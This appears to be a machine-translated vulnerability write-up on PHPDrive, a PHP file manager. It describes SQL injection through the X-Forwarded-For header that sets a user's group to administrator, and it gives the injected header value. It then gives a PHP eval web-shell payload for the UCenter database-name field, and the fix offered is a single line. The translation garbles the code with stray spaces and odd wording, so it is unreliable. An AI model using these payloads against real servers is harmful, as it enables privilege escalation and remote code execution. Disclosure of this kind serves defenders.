PHPDrive Privilege Escalation Vulnerability and repair

PHPDrive is a file management system running in the PHP environment. It can be applied to network disks, enterprise file management, schools, team management, software stations, file CMS, etc.
Includes/user. lib. php
Row 87
Function get_ip (){
If (isset ($ _ SERVER ["HTTP_X_FORWARDED_FOR"]) & $ _ SERVER ["HTTP_X_FORWARDED_FOR"]) $ ip = $ _ SERVER ["HTTP_X_FORWARDED_FOR"];.
Module/disk/account. lead. php at user registration and logon
Row 3 www.2cto.com
// Update the logon IP address and time
$ Db-> Query ('update ''. $ db-> TPre. 'user' SET 'before _ last_date '= '. $ UserArr ['last _ date']. ', 'last _ date' = '. $ NowUnixTime. ', 'before _ last_ip' = "'. $ UserArr ['last _ ip']. '", 'last _ ip' = "'. get_ip (). '"WHERE 'uid' = '. $ UserArr ['uid']. ';'); // get_ip () generated by warehouse Injection
Because the user and manager of this set of programs exist in the same table, only the group field is used to distinguish the two. group = 1 is the administrator, and 2 is the common user. Therefore, you can use the above injection to change the group value of a common user to 1 to improve the permission.
Implementation Method:Use a firefox plug-in x-forwarded-for Header 1.0 to change your IP address to 123 ", 'group' =" 1, and then log in. At this time, you are the administrator.
Background getshell:
In the UCenter Settings section, enter the UC database logon name
 
Root '); eval ($ _ POST [cmd]);?> /*
You can get a shell located in data/uc. data. php.

Fix: Filter Injection